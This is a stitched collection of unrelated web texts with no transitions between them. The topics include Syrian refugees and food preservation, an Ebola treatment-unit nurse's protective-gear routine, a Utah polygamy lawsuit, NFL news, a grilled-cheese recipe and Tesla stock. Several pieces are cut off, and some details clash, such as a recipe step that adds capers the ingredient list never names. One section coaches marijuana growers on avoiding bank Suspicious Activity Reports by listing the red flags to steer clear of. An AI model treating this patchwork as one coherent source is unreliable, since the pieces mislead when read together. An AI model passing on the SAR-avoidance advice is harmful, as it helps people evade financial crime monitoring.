“My favourite mouneh recipe is for lemon baladi – preserved lemons. I would go with my mum to the market to buy the lemons, the big ones. They had to have quite thick skins. Then you scoop the flesh out and leave them out at room temperature for three or four days until the skin blooms with a little white mould. Then you rub this off with a damp cloth and stuff the lemons with walnuts, red chilli paste and smashed garlic mixed with a little olive oil. Then you put them in a jar and fill the jar with olive oil. I used to keep the oil and use it to dress salads.”
Twenty or more refugee women in the Bekaa Valley sat around me in a big circle. Almost every one of them had a baby or a small child on their lap. Many of them had been living in tents for five years, since the beginning of the war. Mouneh? They shrugged. No, not really. Making pickles is a statement of settlement, it embodies the idea of a future of planning and looking forward: in six months, we will be here, in the same place. “We just live day to day,” one of the women said. “We buy what we need and we eat it.”
Facebook Twitter Pinterest A Syrian family eat a meal outside their tent at a Syrian refugee camp in the Bekaa valley, Lebanon. Photograph: Bilal Hussein/AP
I put the same question to a young Syrian chef from Damascus named Sam, who had been living in Beirut for two years. (He did not want me to use his surname – he has siblings still living in the Syrian port city of Latakia.) Sam was a tubby, jolly fellow, but he became reflective as he thought of the past. “In Damascus when I was younger, I lived with a friend who had a coffee shop in the old city. We used to go the market and buy all the vegetables and make pickles together. I love to cook, he loved to cook.
“We would gather together six or seven of us, after the coffee shop closed, and eat what we had made that day. We would drink arak and listen to music – one of my friends played the oud …” Sam stopped. His chest heaved. His smile went to a flat line, his lips compressed with the effort of remembering. “I have been here two years and I haven’t bought a single piece of furniture. I tell myself this is only temporary. I have not made pickles. It’s a thing that you do at home, and here it’s not home.”
When I saw them in Beirut in late spring, Masto and Mohammed did not know where in America they would be settled. They were nervous. Masto told me, she wanted to take a special kind of milled hard-grained wheat with her so that she would be able to make the Assyrian kibbeh she had learned from Marlene and Nahren.
“It’s not just for Assyrians to preserve their tradition,” she told me. “Food is a way to preserve history and culture, to pass traditions on to the next generation so that they can understand their origins and identity. In books and in schools, children learn about history and different cultures and ruins and the remains of different civilisations, but they don’t learn about the food which is also a part of their history and culture. If we don’t preserve it and teach it to them, it will disappear. It is our duty to keep it going. Kibbeh is everywhere, kibbeh holds the culture and region it comes from, it holds its identity inside.”
Food is a way to preserve culture, to pass traditions to the next generation so that they can understand their identity
When I left Beirut I kept in touch with Masto on Facebook. In the summer she posted where she and her family would be settled: Cincinnati, Ohio.
At first, she admitted, when we talked this autumn via Skype, that it had been difficult. For the first three weeks the family had to live in a house infested with raccoons, but then they were settled in a good house in a good neighbourhood. Every morning she and her daughter Amal go to English classes. The International Catholic Migration Commission that sponsored their asylum application under the auspices of the UN refugee agency, was helping Mohammed to train as a forklift truck driver. The children were in school and happy. People were very friendly, very helpful. “I am even complimented on my hijab,” said Masto, pleased with the warmth and respect of the Midwestern reception. (Although at the beginning of December, Masto was more circumspect: since the election of Donald Trump, she wrote to me that her family were scared and did not know, as Muslims, what the future would bring.)
Not long after Masto arrived in Cincinnati, I had asked her what she thought of American food. She admitted she had not yet tried any because she was worried it would be not be halal, but added that some friends from the local Syrian community had taken her family to a Chinese restaurant and that she had liked the sesame chicken.
The first time she had made her signature monk’s kibbeh, she told me, had been a disaster. The red pepper paste she had bought at a local Arab food shop was bitter and the whole thing was ruined. But she had heard of a wholesale place where she could buy a large quantity of red peppers and was going to make some herself.
“The climate of Cincinnati is too damp and rainy to dry it outside like it is supposed to be,” she told me, “but I can do it in the oven.”
Marijuana is a funny plant. It can help heal the sick, or land you in prison. Prison is probably not high on your bucket list. Preventing Suspicious Activities Reports (SAR) while conducting your legitimate personal and business banking is paramount to keeping federal agents out of your life.
Though marijuana’s acceptance as a legitimate medicine is gaining ground, the Federal Government still classifies cannabis as a schedule 1 drug and prosecutes those who grow and posses it. While your personal and business finances may be on the up and up, your banking activity can still trigger a Suspicious Activities Report. SAR’s often land on the desk of IRS agents who may choose to open an investigation and subpoena your bank records. As a grower or user of marijuana, the last thing you want is Federal Agents wandering around your house with a search warrant looking for something suspicious.
What Is A Suspicious Activities Report?
Every bank in the United States is required to follow a compliance program outlined in the Bank Secrecy Act and Anti-Money Laundering (BSA/AML). This means that any transaction (not just a currency transaction) that is made or attempted, by, at, or through a bank is monitored by bank employees. If a bank employee knows, suspects, or has reason to suspect a transaction, they are required to fill out and submit a SAR Form on the transaction. The criteria for suspicious transactions are as follows:
Transactions suspected of involving funds derived from illegal activities or intended to hide or disguise funds or assets derived from illegal activities or to avoid any transaction reporting requirements under federal law.
Transactions that have no apparent lawful purpose or are not the sort in which the particular customer would normally be expected to engage in.
Bank employees are trained to be watchful for unusual trends, activities, and changes in customer activities. They are watching you.
Red Flags: Activities to Avoid
Large or frequent purchases of cashiers checks and travelers checks.
Safe deposit entry after cash withdrawal or before a cash deposit
Changing the amount of a cash transaction after finding out a Currency Transactions Reports (CTR) must be filed
Making frequent cash transactions under $10,000
Exchanging large amounts of currency from small to large bills
Deposits of old, musty, mutilated currency (currency that smells like marijuana)
Bank employees may choose to file a SAR because of what you are wearing, your demeanor, something you said, because you asked questions about SAR’s and CTR’s or because you stated that you are trying to avoid taxes.
High Risk Industries
Various regulatory agencies have determined that the following industries have a high potential for money laundering activity. Medical marijuana patients and growers should be especially careful if they work in these industries.
Check cashing facilities
Leather stores
New and used car and boat dealerships
Travel agencies
Brokers
Precious metals and gems
Auctioneers
Pawn brokers
Lawyers
Accountants
Investment brokers
Telemarketers
Casinos and card clubs
Offshore corporations and banks located in tax and/or secrecy havens
Import and export companies
Deposit brokers
Cash intensive businesses like convenience stores, restaurants, retail stores, and parking garages
Ship, bus, and plane operators
What Happens to the SAR
Not every SAR that is filled out ends up going to the IRS. At most banks, the SAR’s are filled out by the various employees and then given to a designated bank employee, often called the BSA officer. The reports are examined by the BSA officer who filters the information, combs through customers records, then determines which reports are in fact suspicious and should be passed along to the IRS.
While most reports are left to the BSA officer’s discretion, reports of certain activity are required to be passed to the IRS for further investigation. These activity reports include:
Known or suspected violation of federal law
Suspicious transactions related to a money laundering activity
Suspicious transactions related to a violation of the Bank Secrecy Act
Insider abuse involving any amount
Violations aggregating $5,000 or more where a suspect can be identified
Violations aggregating $25,000 or more regardless of an potential suspect
Transactions aggregating $5,000 or more that involve potential money laundering or violations of the Bank Secrecy Act
SAR’s that are passed along to the IRS can result in an immediate IRS audit of the bank customer. They may also result in a subpoena of your bank records for further examination, or may be filed away to be examined later for patterns or discrepancies.
Penalties For Failure to File a SAR
Just because almost any behavior can trigger a SAR, don’t think for a minute that this is just another busy work form that isn’t taken seriously by bank employees. Here are the penalties for failure to file a SAR.
“Any person who willfully violated the reporting requirements may be subject to criminal penalties with fines up to $250,000 or 5 years in jail.”
I want to make it clear that I am not suggesting you involve yourselves in money laundering or tax evasion. However, legitimate medical marijuana growers and users do need to be extra careful with their bank activity. Legitimate but possibly “suspicious” activity at the bank can lead federal agents to your front door.
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But while there are clearly scientific elements in economics, a lot of economists aren’t behaving like scientists. Look at Chetty’s examples of scientific work that informs current policy debates:
Consider the politically charged question of whether extending unemployment benefits increases unemployment rates by reducing workers’ incentives to return to work. Nearly a dozen economic studies have analyzed this question by comparing unemployment rates in states that have extended unemployment benefits with those in states that do not. These studies approximate medical experiments in which some groups receive a treatment — in this case, extended unemployment benefits — while “control” groups don’t. These studies have uniformly found that a 10-week extension in unemployment benefits raises the average amount of time people spend out of work by at most one week. This simple, unassailable finding implies that policy makers can extend unemployment benefits to provide assistance to those out of work without substantially increasing unemployment rates. Other economic studies have taken advantage of the constraints inherent in a particular policy to obtain scientific evidence. An excellent recent example concerned health insurance in Oregon. In 2008, the state of Oregon decided to expand its state health insurance program to cover additional low-income individuals, but it had funding to cover only a small fraction of the eligible families. In collaboration with economics researchers, the state designed a lottery procedure by which individuals who received the insurance could be compared with those who did not, creating in effect a first-rate randomized experiment. The study found that getting insurance coverage increased the use of health care, reduced financial strain and improved well-being — results that now provide invaluable guidance in understanding what we should expect from the Affordable Care Act.
OK, he’s right that these two examples show how evidence could be used to inform policy debate (although understanding the effects of unemployment insurance, I would argue, requires embedding it in a macro story about how the number of jobs is determined.) But are such results actually being used to inform policy debate? Have conservative economists like Casey Mulligan said “OK, we were wrong to argue that extended unemployment benefits are the cause of high unemployment”? Have economists who oppose Obamacare said, “OK, we were wrong to say that Medicaid hurts its recipients?”
You know the answer.
And it’s not just policy debates. Whole subfields of economics, notably but not only business-cycle macro, have spent decades chasing their own tails because too many economists refuse to accept empirical evidence that rejects their approach.
The good news is comic artist and writer Jeffrey Brown managed to sell publisher Chronicle Books on the concept as a comic book. Behold: Darth Vader and Son.
According to the L.A. Times' Hero Complex blog, the comic imagines the iconic Sith Lord as just another doting father, playing baseball with his son, cooking meals, buying toys. Brown sets the single-panel vignettes as the interaction between Vader and Skywalker, his four-year-old son. (Skywalker's twin, Leia, apparently doesn't appear, but may in the (inevitable?) sequel.)
Brown said the comic was based on the frustrations of interacting with his own son, who was about four when the project began, but who is now five-and-a-half.
"Like one of the strips is where Darth Vader makes eggs for breakfast, and Luke isn't happy with them," Brown told the paper. "My eggs are apparently OK for my son, but there are definitely other things I've made where he's been like, 'I don't like this.' And you know, just trying to get him to go to bed. There are a lot of those universal touch points that are in there.
Brown authored the book with the blessings of both Google and Lucasfilm, the latter of which was very supportive of Brown's ideas.
"There was nothing that I wanted to put in that they didn't let in. Nothing that they wanted me to change," Brown said. "Most of their suggestions were kind of minor tweaks. Sometimes I would forget to capitalize the word 'Force' or things like that."
Brown didn't close a price or a release date, but we found the hardcover version of Darth Vader and Son on Amazon for $10.06. It is scheduled to ship next week on April 18, about two months before Father's Day.
Image credits: Jeffrey Brown/Chronicle Books
For more from Mark, follow him on Twitter @MarkHachman.
This old story of the origin of the canyons has been commonplace since the 1940s. Although there were probably a few early arrivals before 1825, the first heavy influx of settlers in Stewart county came after the Treaty of Indian Springs (1825) by which the Creek Indians were forced to cede all their lands east of the Chattahoochee river. Evidence of the existence of the canyons is their mention in a deed by James S Lunsford to William Tatam recorded in 1836.
The park lies on marine sediments—usually loamy or clayey, with small areas of sand. Loamy sand topsoils overlie subsoils of sandy clay loam, sandy clay, or clay in most of the uneroded section. Nankin, Cowarts, Mobila, and Orangeburg are the most prominent soil series. The canyons have much exposure of clay, over which water often seeps. Water is mobile in this well drained area.
Oh yeah, it's also meant to be the first Wayland Live CD, and soon it will try to use Wayland instead of using X.
This distribution is fan made. Yes. I am a fan of Rebecca Black.
Instructions
Download RebeccaBlackOS. The Live CD has the Wayland display server on it, and various toolkits (QT, GTK, Clutter etc.) . It does start to xorg, and there it has an icon for launching Wayland nested in X. If you want to start it native, switch to tty1 by hitting ctrl-alt-f1, and typing sudo westoncaller. to go back to X switch to TTY 7 or 8, by hitting ctrl-alt-f7, or ctrl-alt-f8. . The Live CD has the Wayland display server on it, and various toolkits (QT, GTK, Clutter etc.) . It does start to xorg, and there it has an icon for launching Wayland nested in X. If you want to start it native, switch to tty1 by hitting ctrl-alt-f1, and typing sudo westoncaller. to go back to X switch to TTY 7 or 8, by hitting ctrl-alt-f7, or ctrl-alt-f8.
Warning from Nerdopolis
Do NOT use the install option on the Live CD, as I made a change to the init script that requires a kernel option to be passed, that is passed by the live cd's grub, but won't be passed once it was installed. It was my failed attempt to create an option to start to Wayland, or X. For some reason, Wayland does not start from init...
Check out the videos below:
thread on this in Ubuntu Forums. Most of the things go over my head. Read it if you are into this kind of stuff. There is hugeon this in Ubuntu Forums. Most of the things go over my head. Read it if you are into this kind of stuff.
Screenshots retrieved from Ubuntu Forums:
Salt Lake Tribune
SALT LAKE CITY (RNS) Utah's complicated history with polygamy starts a new chapter Wednesday (July 13) as a reality-show family challenges the state's ban on plural marriage, a fight that could go all the way to the U.S. Supreme Court.
Nationally known constitutional law professor Jonathan Turley said the federal lawsuit does not call for plural marriages to be recognized by the state. Instead, it asks for polygamy between consenting adults like his clients, Kody Brown and his wives, to no longer be considered a crime.
"We are only challenging the right of the state to prosecute people for their private relations and demanding equal treatment with other citizens in living their lives according to their own beliefs," Turley said in a press release.
The Browns star in the TLC network show "Sister Wives."
Utah Attorney General Mark Shurtleff said the country's ongoing legal wrangling over same-sex marriage will necessarily grow to include plural marriage -- quite possibly centered around this case.
"I'm confident that we can (defend) a challenge all the way to the Supreme Court," Shurtleff said. "Ultimately, this decision is going to have to go there. You see it coming."
The Supreme Court toyed with taking on polygamy five years ago, when it asked for briefs in the case of polygamous police officer Rodney Holm, who was accused of having sex with a 16-year-old plural wife. The justices ultimately refused to hear his appeal.
"The whole case was tainted by (sexual contact with a minor). We didn't die on the courthouse steps, we died inside," said attorney Rod Parker, who represented Holm. "I don't know if (the Brown case) will be the one, but sooner or later one's going to go there ... if it's factually clean."
Meanwhile, Kody Brown released a statement saying his is one of tens of thousands of polygamous families looking for "equal treatment."
"While we understand that this may be a long struggle in court, it has already been a long struggle for my family and other plural families to end the stereotypes and unfair treatment given consensual polygamy," he said.
The complaint, Turley said, presents seven constitutional challenges to the state's anti-bigamy law; the lawsuit is largely based on the right to privacy.
"In that sense, it is a challenge designed to benefit not just polygamists but all citizens who wish to live their lives according to their own values -- even if those values run counter to those of the majority in the state," said Turley, a member of the faculty at George Washington University.
Members of the Salt Lake City-based Church of Jesus Christ of Latter-day Saints once believed in polygamy as a religious tenet, but the practice was abandoned as a condition of Utah receiving statehood in 1896.
Groups calling themselves fundamentalist Mormons have continued the practice, though usually out of the spotlight. The first exception since the 1970s was Tom Green, who was prosecuted for bigamy after promoting his beliefs on national television 10 years ago.
Since his conviction, other challenges have arisen to the polygamy law. Also, a couple who hoped to add a second wife sued when a clerk refused to issue them a marriage license in 2004. Their case was dismissed by a federal appeals court.
The Browns stepped forward to announce the reality show last year. Kody Brown and wives Christine Brown, Janelle Brown, Meri Brown and Robyn Sullivan are well into adulthood and portray themselves as living an otherwise middle-class life. They lived in Lehi, Utah, until last year, when they moved to Nevada with their 16 children after police started an investigation sparked by the show.
On Friday, Labour Party Deputy Leader, Tom Watson, stated that May should 'come clean' about Britain's role in Operation Blue Star. Watson referred to the allegations made by the Sikh Federation UK that files had been removed by the Foreign Office, which had "new evidence" of Britain's role.
In a statement, Watson said, "Before her visit to India, Theresa May must come clean about the role played by the UK in the attack on the Golden Temple in 1984 and subsequent events. There is increasing evidence that Margaret Thatcher's administration worked more closely with the Indian government than was known at the time."
There were claims that the Foreign Office had removed files showing that the Special Air Services (SAS) unit of the British Army got involved in Operation Blue Star after "an Indian request for military assistance in the setting up of a National Guard for internal security duties".
Watson further added, "David Cameron's previous inquiry failed to reveal the full facts and we now learn that vital new documents relating to the massacre have been removed from the National Archives by ministers. The revelation that these new documents exist suggests that Parliament may have been inadvertently misled by a former Foreign Secretary. After over 30 years of demanding answers, Britain's Sikh community deserves to know the truth, no matter how embarrassing it is for the current government. After the failure of the Cabinet Secretary's internal inquiry, there should be a full independent investigation into these matters."
An official government inquiry in 2014 into Britain's involvement in Operation Blue Star had been ordered by David Cameron. The then UK Foreign Secretary, William Hague, had told the House of Commons in February 2014 that "the report concludes that the nature of the UK's assistance was purely advisory, limited and provided to the Indian government at an early stage in their planning."
Now the Sikh Federation UK claims that a note, which was written on July 3 1984, a month after the operation shows that Britain had played a more significant role. The note was reportedly written by a civil servant in the Foreign Office's South Asia department. It had been copied to Ministry of Defence officials and the high commissioner in Delhi.
However, I don’t really feel like writing about it right now. So I’m to talk about the ETU itself, and how we got there.
We were originally supposed to be at our own ETU on November 16th, however due to construction, and that fact that Liberian infrastructure rivals16th century Turkey- the process has been delayed and delayed…and delayed some more.
We finished our cold training at the DOD on Friday the 14th, and were under the impression that we would start our “Hot” training at bong the following monday. Hot training would last another five days, and each day we would progressively spend more time in the hot zone. First we would do a walk through, then the next day maybe hand out food, the next day draw blood. Each day we would progressively provide more and more care until we were comfortable.
When we got home from our last day of cold training, we were told that hot training was cancelled. They couldn’t find any spots for us at the time.
For how long? They wouldn’t tell us, but it was looking like a week.
Now a week to explore the capitals of most countries is normally seen as a chance to go see the sites, try out the food, and have a good time.
Monrovia, sadly lacks any of these amenities . There is really nothing to do, I don’t know if the city has a bowling alley or movie theater. Well, actually I don’t know if there are any of those in the whole country. But that’s okay. I was alright being at the guest house for a little bit, and we would always take short walks down to the beach or around the neighborhood if it became too boring.
On Monday, our fearless leader came in and announced that there was a sudden need for medical staff. A doctor and two nurses at the Bong ETU, and a doctor and two nurses at the Kakata ETU that was scheduled to open. Three headed off on Monday, and myself, Lucile, and another doc were to head out the next day.
I won’t lie at this point, I was pretty nervous. I know the reasons why I came, I came to help these people, and to make a difference, yet suddenly my own self preservation started barking. Are you sure you want to do this? Are you sure you can do this? Why are you doing this? The whole night the thoughts swirled through my heads, I tried to distract myself by adding some movies to my laptop, and talking to my family back home. But the thoughts followed me to a restless sleep.
The road to Bong was long and often in states of Ill repair . The road went from being well paved and traversed at 60 mph to pot hole ridden dirt, crossed at 10 MPH, what could have probably been a hour, maybe hour and a half drive turned into four hours. We also had to stop at a county line check point to wash our hands and have our temperature taken.
Which was kind of nice to see that containment measures are still in place.
When we got to the ETU we got out and took a photo with the sign.
(There’s me in the back)
The ETU is tucked about a mile and a half in the jungle, through a winding dirt road filled with dips, blind turns, and hills. The jungle swallows you up as you go in, you’re in it You can easily forget the outside world, there’s no evidence here. Just a winding dirt road that could have been made hundreds of years ago.
Soon we make a turn and head up a hill
Blue buildings, two layers of chain link fences. When we got out, renee walked us to meet the docs and nurses there.
When you first get there you wash your hands in a 0.05% solution and dip your shoes into a 0.5% bleach bath. You do this again as you pass through another gate.
The ETU is set up with the confirmed and suspected wards being in the back, with the doffing area in the middle, and the donning area nearest the suspected side. The ground is covered in large rock gravel, pipes with 0.05% and 0.5% bleach sprout up around the perimeter.
A few dozen stakes stand next to the laundry room they’re used as boot drying spikes. And every morning you’ll spend a good amount of time trying to find a pair of gum boots that fits (43 for me).
The jungle surrounds and envelopes the ETU
We introduced ourselves to the staff. The Bong ETU is ran by the International Medical Corps, an American based NGO. They were all friendly and glad we were there. They gave us a quick five minute tour of the area, and sent us on the way to the guest house so we could unpack for the week.
My room for the next two or three weeks.
IMC needed us in there to help, they got hit with a good amount of patients and a good portion of their staff had departed on holiday, or their contract had ran out. So we were skipping the customary few days of hot training and just jumping into it. Outa- the frying pan into the fire sort of situation. Personally I was fine with it, I was tired of power point presentations at this point, and another week learning how to wash my hands might push me to psychosis.
So on Wednesday we headed for our donning and doffing training. The gear we actually use is different than the what we trained with for the World Health Organzation. While the WHO says its okay to have exposed skin, IMC protocols don’t allow it. Which, while adding a bit of heat, definitely makes you feel safer.
They also promoted me to “RN” when they wrote my name the exercise -When I told them I was a nurse. That’s okay, I only had to come to Africa and fight Ebola for the promotion.
Here’s the order of operations for donning the gear.
Gum boots
Two pair of Gloves
Tyvex or (God awful) tychem suit
N95 Mask
Hood with mask ripped open in the middle to allow you some air passage.
Another pair of gloves taped to your arms.
Waterproof apron.
Goggles. The goggles were a challenge at start, fogging was a big issue with the WHO training, turns out that some dish soap on the inside gets rid of the issue completely,
For those wondering how you get out of all that? Well there’s a process for that as well.
Stand in 0.5% basin for 30 seconds to disinfect boots. Sometimes when there’s a person in front of me, I just stand in the basin for awhile, even if it’s been sitting in the African sun for four hours, it’s cooler than you. You can almost close your eyes and pretend your bathing in the purifying waters of Lake Minnetonka.
Step into Doffing area.
Hold up your hands and wave them like you just don’t care (You could be covered with Ebola, so care and don’t wave them)
The sprayer will spray a 0.5% chlorine solution from neck down, on your hands, apron, legs, and boots. Then you turn around and they get the other side.
Next you wash your hands in a 0.5% solution
Remove the tape from your gloves, and take off your outer layer of gloves.
Wash your hands.
Take off your water proof apron. This part can be a bitch, trying to find the tucked away hidden string that magically causes the apron to fall off you is hard, and on one occasion I just had to push the apron off me and step out of it.
Place the apron in barrel of 0.5% solution
Wash your hands
Bend slightly forward , grab your goggles from the front and pull them off your head. Dip your goggles THREE times (no more, no less) in a 0.5% solution, then toss them through a hole in the wall into a bucket of chlorinated water.
Wash your hands.
Now comes the hood, The hood has three ties in the back, and one at the bottom of the hood that wraps around in front of you. You can untie the strings, but wet gloved hands have terrible dexterity, I always end up just ripping them. Once all the strings are ripped, you bend forward slightly and grab the back of the hood, pulling it forward and off your head. Then you throw it away.
Whats next?
What the do you think is next?
Wash your damned hands.
Now comes the suit. The suit has two pieces of tape on it, one that closes a flap over the zipper, the other over your collar. You “Pop your collar” by peeling the tap off, then pop the tape down the front of the zipper.
Wash your ha…NOPE! (Guys thought you were getting it by now right?)
Now the sprayer sprays the newly exposed area of suit. Which at times can suck, since they start at the top, some 0.5% chlorine can hit your neck and face. This can cause some pretty severe skin irritation and burns. Luckily Mr. Beard protects my face and neck from such a chlorinated attack.
Now you unzip, starting from the top, making sure not to touch the inside of your suit when you grab the zipper at the very top. Unzip it all the way down to your nether relms and then you…
WASH YOUR HANDS YOU FILTHY SAVAGE.
Once that’s done you
Reach on the inside of your suit, making sure not to touch the outside, and pull it off your shoulders. Then you kinda shake shimmy the suit off you. Basically you do the Bernie out of your Ebola suit.
Pulling your hands through it, make sure you only touch clean to clean, or dirty to dirty. Now, pull your suit down your legs, touching only the inside. Yeah, down to your boots, but don’t actually touch the boots while you do it.
Now, stand up and pull your boots out of the suit, this part can be a little tricky to, first you step forward, then you step back, then you lift your leg up, try to step on it with the other foot. Every time I do it, I feel like an idiot, I’m trapped for a good minute trying to step out of the suit, until finally I manage to pop my boots free.
Kick/slide the suit forward a few feet. The sprayer then gives the Ebola suit another chlorine bath, drowning any remaining ebola’s hopes and dreams in tidal wave of chlorinated goodness.
Now wash your hands.
At this point your wearing two pairs of gloves and a mask, so the next step is to carefully take off the outer layer of gloves.
Now wash your hands again.
Lean forward and pinch the front of your n95 duck billed mask, pull it off your head and throw it away.
(Pictured is a n95 Duck billed mask)
(Quack Quack)
Once that’s thrown away you wash your hands again.
Now you take a step towards the sprayer, and stand at attention. He/She sprays the the front side of your boot
you turn to the left, sprays that side of your boots, (Reverse Reverse!) You turn to the right side and that side is sprayed.
Then you turn away from them, where the back of the boots is sprayed, then you lift up one boot behind you and its sprayed, take a step back and the other sole of the boot is sprayed.
Now you’ve crossed over to the “Clean side” of the doffing area. You take off your last pair of gloves and throw them away.
Congrats you’ve ma…
YOU WASH YOUR HANDS AGAIN
This time with no gloves on, and a 0.05% solution. And normally a good 45-60 second process
(Minus the soap and water part for us)
Next you stand in a 0.5% solution for another 30 seconds as you exit the doffing area.
Right next to the station is some piping with pure water and 0.05% solution. I always cover my face/arms/neck with a good amount of 0.05% solution. Then rinse it off with pure water.
Congrats! You survived donning and doffing!
Now go enjoy a coke.
Demoff confirmed the rumors and said that the uniforms had to be worn against their in-state, divisional rivals from San Francisco.
According to Alden Gonzalez, here’s why they choose the game against the 49ers (via ESPN):
“The Rams wore those blue-and-yellow uniforms for the home opener against the Seattle Seahawks on Sept. 18, a 9-3 win. They planned to wear them again before the end of their first season back in Los Angeles and had long been planning for that to come against the 49ers because of the two teams’ history dating back to when they last shared California.”
The Rams have lost nine of their last ten games. So at this point, it’s good to see Los Angeles trying something different to get their ducks in order for a win.
Grilled cheese sandwich that has ricotta cheese in it? Yes, it is possible and it also very scrumptious.
Don’t take my word for it. Make it yourself or listen to my family members.
This grilled cheese sandwich is a staple around my household, especially when the weather outside is cold and frightful.
When I pair this sandwich with my homemade tomato soup, I am seen as a cook sent from heaven.
Alright, I am not from heaven, but, very close to it (New Jersey). I do share everyone’s love for this classic “snow day” comfort food.
Lately, I have been trying to make classic recipes but put a simple twist on the dish. The ricotta cheese is the twist on the classic grilled cheese sandwich.
Be warned, though, the ricotta cheese makes the grilled cheese sandwich very heavy in the calorie department. This just means that you will spend an extra hour at the gym. So, no big deal, right?
Now, a great grilled cheese sandwich deserves to be paired with the best tomato available on earth.
Enter: The Campari Tomato!
The Campari tomato is light on acidity, great on sweetness and good for the human body. So, at least, I can claim that this sandwich has a healthy component.
Most people don’t really associate the Rosemary and Olive Oil demi loaf with any sandwiches. People are normally used to only seeing this bread in Italian restaurant given away as free appetizer.
It can easily be found at the baker section of your supermarket. However, if you ever have two and a half hours, feel free to make this bread at home. There is nothing better than smelling the aroma of fresh rosemary bread coming from the kitchen. The best recipe I have found for this bread is from Table For Two’s Blog.
Today, I have found a better use for this bread. Just look at that wholesome loaf goodness! It makes for a very crispy grilled cheese sandwich and also prevents the whole dish from getting too soggy.
If you think ricotta is too strange to add to a sandwich, then, you shouldn’t try my grilled cheese with chocolate or my Brussels sprouts grilled cheese!!
However, there is no way around it. This is one messy sandwich. You are going to need lots of napkins for this grilled cheese sandwich with ricotta.
If you have any campari tomatoes left over, turn them into Pasta Pomodoro. I also have another messy sandwich that a fresh mozzarella sandwich with arugula pesto
Grilled Cheese Sandwich With Ricotta Cheese
Grilled Cheese Sandwich with Ricotta Grilled cheese with roasted tomatoes
Print Pin Prep Time: 5 minutes Cook Time: 25 minutes Total Time: 30 minutes Servings: 2 Sandwiches Calories: 579 kcal Author: Healing Tomato Ingredients 4 slices demi loaf Rosemary and Olive Oil demi loaf
1 cup ricotta cheese
2 slices Jalapeno Jack cheese
2 Campari tomatoes
1 tsp peppercorns
1/2 tsp salt or to taste
1 tsp oregano dried or fresh
1/2 tsp rosemary dried or fresh
1 tsp hot sauce optional
1 tsp pine nuts
1 tsp olive oil
Cooking spray for the Grilled cheese Instructions Place Campari tomatoes on a baking sheet
Drizzle the tomatoes with olive oil
Add a few flakes of the rosemary and whole peppercorns
Add a pinch of salt to these tomatoes
Place tomatoes in tomato broiler until they are crinkled (10 min)
Remove from toaster oven and allow them to cool for a few minutes.
In a mixing bowl, add the ricotta cheese
Add the oregano flakes to the ricotta cheese
Add the remaining peppercorn
Add the salt and pepper
Add the capers
Stir well and leave aside for about 10 minutes
Heat a pan on the stove and spray with cooking oil
Grill the bread slices on one side and turn them
On the grilled side, place 1 slice of Jack cheese
Top two slices with the ricotta cheese mixture
If you like more fresh ground crushed peppers, add them now.
Lightly crush the roasted tomato with your hand and place it on top of the sandwich
Top with pine nuts that are freshly roasted
Close the sandwich with the other toasted Rosemary bread Serve the sandwich with the hot sauce on the side. It works great as a dipping sauce. Notes Nutritional Info is approximate Nutrition Calories: 579 kcal | Carbohydrates: 27 g | Protein: 24 g | Fat: 41 g | Saturated Fat: 23 g | Cholesterol: 87 mg | Sodium: 1047 mg | Potassium: 304 mg | Fiber: 2 g | Sugar: 13 g | Vitamin A: 16.9 % | Vitamin C: 6.8 % | Calcium: 48.1 % | Iron: 11.2 % Tried this recipe? Follow me @healingtomato1 and mention #healingtomato1
An 11-year veteran, Quentin Jammer has spent his entire career in San Diego. (Mike Blake/Reuters)
The Washington Redskins on Sunday evening hosted veteran cornerback Quentin Jammer as they continue to search for solutions to upgrade their secondary, three people with knowledge of the situation confirmed, though two of them said it didn’t seem like the Redskins were on the verge of signing him immediately.
Jammer, an 11-year veteran who turns 34 in June, has spent his entire career with the San Diego Chargers. He remains an unrestricted free agent.
The Redskins have tried in vain to add another established veteran defensive back to the roster since the start of free agency. They signed former Tampa Bay Buccaneer E.J. Biggers, but the four-year veteran has served as a full-time starter only once in his career.
Washington failed in its attempts to sign both Aqib Talib and Antoine Winfield since free agency began in March. Talib opted to re-sign with New England, and Winfield chose Seattle over the Redskins and the Minnesota Vikings.
The 6-foot, 204-pound Jammer has 719 career tackles and 21 interceptions. Jammer recorded 64 tackles and three interceptions last season, but he struggled with consistency in coverage, yielding 34 first-down catches (sixth most among veteran corners on the market this year) and eight touchdown receptions (third most), according to ProFootballFocus.
He has spent his career at cornerback, but it’s possible that the Redskins could convert him to a free safety, where they have a glaring need. Jammer played safety at the University of Texas before converting to cornerback in the NFL.
The fifth overall pick of the 2002 draft, Jammer played in San Diego under former Chargers general manager A.J. Smith, whom the Redskins hired this year as a front-office consultant.
It brings Tesla’s valuation past $47 billion. That’s more than Ford ($45B), Nissan ($40B), or Audi ($30B), despite each of those brands selling more vehicles in a month than Tesla does in a year.
Though as we reported last week, the comparison with legacy automakers is not exactly fair since Tesla is positioning itself more as tech and energy company than just an automaker.
The announcement of Tesla’s record deliveries for the first quarter was undoubtedly the biggest contributor to the surge this morning. As of the time of writing, Tesla’s stock was up 5% and trading at an all-time high of $292:
Several Wall Street analysts were predicting deliveries in the lower end of Tesla’s guidance for the first half of the year and they will need to adjust their models, which is likely contributing to the market’s reaction this morning.
Additionally, most of the same analysts are guiding for lower Model 3 deliveries in 2017-2018 than Tesla is guiding. The company’s current strong deliveries show that they can beat guidance and could result in higher confidence in its ability to deliver the Model 3 on time and in volumes.
It will be interesting to follow the market perception of Tesla over the next few months leading to the planned start of Model 3 production in July.
We've identified the top all-time quarterbacks for every NFL team, and asked our NFL Nation beat reporters -- and you, the fans -- to help us determine each signal-caller's place in franchise history.
What follows is the final ranking of the top quarterbacks in Cleveland Browns history, both from our NFL Nation reporter and our final fan polling.
NFL Nation ranking:
1. Otto Graham
2. Bernie Kosar
3. Brian Sipe
4. Frank Ryan
5. Bill Nelsen
No list of Browns quarterbacks that does not have Graham at the top has credibility. He is the only player on the list in the Hall of Fame. A case can be made that Graham deserves to be in the top five all-time based on the team's success. In 10 seasons, he played in 10 championships game (including the All-America Football Conference). He won seven of those title games, three in the NFL and four in the AAFC -- one came in the Browns' first year in the NFL (1950), when they were not supposed to be able to compete. As a starting QB in the NFL, he went 57-13-1. The ratings of the rest are all discussion-worthy. Kosar took the Browns to three AFC Championship Games, but never a Super Bowl. Sipe quarterbacked the Kardiac Kids in one of the more exciting eras in team history. Ryan won the last championship for the Browns in 1964, when he threw three touchdown passes to Gary Collins. Nelsen was tough as nails and very productive and was in the playoffs three of the four years he started -- twice in the conference title game. - Pat McManamon
Fan ranking:
